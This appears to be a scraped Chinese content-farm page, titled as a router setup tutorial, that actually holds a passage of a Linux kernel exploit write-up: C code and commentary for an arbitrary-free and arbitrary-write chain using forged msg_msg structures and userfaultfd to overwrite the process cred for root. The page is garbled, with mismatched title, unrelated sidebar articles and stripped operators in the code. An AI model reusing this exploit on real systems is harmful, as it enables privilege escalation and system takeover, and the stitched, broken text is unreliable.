当前位置:首页 > 实用技巧 >

msg1500路由器设置教程(傻瓜路由器参数设置)

来源:原点资讯(www.yd166.com)时间:2023-11-30 22:49:44作者:YD166手机阅读>>

任意释放:调用arb_free(),伪造QID #0队列中的消息结构,并释放 QID #0 中的消息。

[...] void arb_free(int idx, uint64_t target) { struct evil_msg *msg = (struct evil_msg *)malloc(0x100); void *memdump = malloc(0x2000); msg->m_list.next = queue; // [2] 指向 QID #1 msg->m_list.prev = queue; msg->m_type = 1; msg->m_ts = 0x10; msg->next = target; // [3] 下一个segment指向QID #1队列中的segment edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); // [4] 修改 QID #0 中的消息头结构 puts("[*] Triggering arb free..."); msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 释放 QID #0 中的消息 puts("[ ] Target freed!"); free(memdump); free(msg); } [...] arb_free(0, large_msg); // [1] [...]

  • [2]:我们用之前泄露的 QID #1 队列的地址,来修复 QID #0 中的 msg_msg->m_list.next 和 msg_msg->m_list.prev ,这样我们就能调用 msgrcv() 释放 QID #0 中的消息,不用 MSG_COPY flag 也能避免内核unlink时崩溃。
  • [3]:使msg_msg->next指向之前泄露的message slab,也就是现在的QID #2消息的segment ;
  • [4]:调用 edit_rule() 修改 msg_msg 头结构后,堆布局如下:
  • [5]:不带 MSG_COPY flag 调用 msgrcv(),内核将会调用free_msg()释放 QID #0 中的消息和 new segment。

msg1500路由器设置教程,傻瓜路由器参数设置(13)

4.4 步骤4——任意写,篡改cred

思路:现在 QID #2中的msg_msg->next指向一个空闲的kmalloc-4096 (上一步利用任意释放原语所释放)。现在分配新消息占据该kmalloc-4096,即可通过QID #2篡改新消息的msg_msg->next实现任意写。

[...] void *allocate_msg2(void *_) { printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 PAGE_SIZE - 0x10); if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #3 { perror("msgget"); exit(1); } memset(page_2, 0, PAGE_SIZE); ((unsigned long *)(page_2))[0xff0 / 8] = 1; if (msgsnd(qid[3], page_2 PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字节的消息(0x30头 0xff8数据),内核中会分配1个 `0x30 0xfd0` 的消息块(和之前任意释放的segment位于同一块)和1个`0x8 0x28`字节的segment(位于`kmalloc-64`)。 { puts("msgsend failed!"); perror("msgsnd"); exit(1); } puts("[Thread 2] Message sent, target overwritten!"); } [...] pthread_create(&tid[3], NULL, allocate_msg2, NULL); // [1] 创建子线程执行allocate_msg2() [...]

  • [2]:创建队列 QID #3
  • [3]:调用msgsend() 分配0x1028字节的消息(0x30头 0xff8数据),内核中会分配1个 0x30 0xfd0 的消息块(和之前任意释放的segment位于同一块)和1个0x8 0x28字节的segment(位于kmalloc-64)。
  • 用户传入数据位于page_2 PAGE_SIZE - 0x10,使用 userfaultfd 来监视 page_2 PAGE_SIZE 位置,等待页错误,第2个页错误。触发页错误时,堆布局如下:

msg1500路由器设置教程,傻瓜路由器参数设置(14)

篡改QID #3 中msg_msg->next指针:释放第1个错误处理,将QID #3中的msg_msg->next指针,篡改为当前进程的cred-0x8(因为segment的头8字节必须为null,避免load_msg()访问next segment时崩溃)。

[...] if (page_fault_location == page_1 PAGE_SIZE) { printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location); memset(buff, 0, PAGE_SIZE); puts("[PFH 1] Releasing faulting thread"); struct evil_msg *msg = (struct evil_msg *)(buff 0x1000 - 0x40); msg->m_type = 0x1; msg->m_ts = 0x1000; msg->next = (uint64_t)(cred_struct - 0x8); // [1] 将 QID #3 中的 msg_msg->next 指针,篡改为当前进程的 cred-0x8 ufd_copy.dst = (unsigned long)(page_fault_location); ufd_copy.src = (unsigned long)(&buff); ufd_copy.len = PAGE_SIZE; ufd_copy.mode = 0; ufd_copy.copy = 0; for (;;) { if (release_pfh_1) { if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { perror("ioctl(UFFDIO_COPY)"); exit(1); } puts("[PFH 1] Faulting thread released"); break; } } } [...]

篡改cred:释放第2个错误处理,将当前进程的cred覆盖为0,最终提权。

msg1500路由器设置教程,傻瓜路由器参数设置(15)

msg1500路由器设置教程,傻瓜路由器参数设置(16)

栏目热文

二级路由器有几种配置方法(二级路由器的全部设置方法)

二级路由器有几种配置方法(二级路由器的全部设置方法)

于一个网络如何连接两个路由器?家里房间比较多,之前已经安装了一个无线路由器,但是在某些房间信号很差,想再增加一个无线路由...

2023-11-30 22:10:23查看全文 >>

校园五霸是哪五个动漫(和校园四霸齐名的动漫)

校园五霸是哪五个动漫(和校园四霸齐名的动漫)

首先还是要吹一波在这个各部热门续作纷纷跳票的情况下,《辉夜大小姐想让我告白》并没有收到疫情的影响,反而继承了第一季的完美...

2023-11-30 22:18:12查看全文 >>

校园四霸动漫评分(校园四霸动漫哪个好)

校园四霸动漫评分(校园四霸动漫哪个好)

转眼之间就已经到了六月下旬,再过一个礼拜就是七月了,七月对于喜欢动漫的小伙伴们来说又是一个观看新番的好日子!而近日有一部...

2023-11-30 22:07:50查看全文 >>

动漫校园四霸都有谁(动漫校园五霸是哪五个人)

动漫校园四霸都有谁(动漫校园五霸是哪五个人)

最近,小编经常看到这四个男生出现在同一张图上,并配文“校园四霸”的标签。刚入圈的萌新可能还不了解,接下来小编就带大家大致...

2023-11-30 22:46:49查看全文 >>

跟校园四霸类似的动漫(最近妹妹有点怪类似的动漫)

跟校园四霸类似的动漫(最近妹妹有点怪类似的动漫)

因为在学校中的表现,折木奉太郎、咲太、比企谷八幡、路哥这几位动漫男主被称为“校园四霸”,想必各位小伙伴们应该很是熟悉吧?...

2023-11-30 22:10:13查看全文 >>

二级路由器配置方案(二级路由器设置最稳定的方法)

二级路由器配置方案(二级路由器设置最稳定的方法)

此文摘自无线网桥公众号此文介绍二级路由器/子路由器的设置方法 常见应用有:两台网桥组网,发射端跟接收端双方都接路由器使用...

2023-11-30 22:29:13查看全文 >>

路由器怎么设置链路检测(路由器开启链路聚合都能怎么用)

路由器怎么设置链路检测(路由器开启链路聚合都能怎么用)

本示例的基本拓扑结构如图所示,现网中有3台路由器通过IS-IS协议实现路由互通,且Router-A和Router-B之间...

2023-11-30 22:35:40查看全文 >>

汽油车加了少量柴油要紧吗(汽油车不小心加了柴油有事吗)

汽油车加了少量柴油要紧吗(汽油车不小心加了柴油有事吗)

如果汽油车不小心误加了柴油,就像小孩子吃错了东西,小则闹肚子,大则危及生命,我们千万不要心存侥幸或心存好奇,而是要科学对...

2023-11-30 22:58:18查看全文 >>

汽油车加了一点点的柴油怎么处理(汽油车加了一点柴油行不行)

汽油车加了一点点的柴油怎么处理(汽油车加了一点柴油行不行)

市面上的汽车有柴油车、汽油车、新能源汽车三种,汽油车和柴油车都需要定期去加油站加油,加油站的油分为不同的油号,有些车主一...

2023-11-30 22:48:55查看全文 >>

汽油车不小心加了柴油(汽油车不小心加了柴油当时怎么样)

汽油车不小心加了柴油(汽油车不小心加了柴油当时怎么样)

买车容易,养车难。成为当下许多有车一族的心声,尤其是油价越来越高,让人有苦难言。最近有个朋友问小编,柴油的油价比汽油便宜...

2023-11-30 22:26:33查看全文 >>

文档排行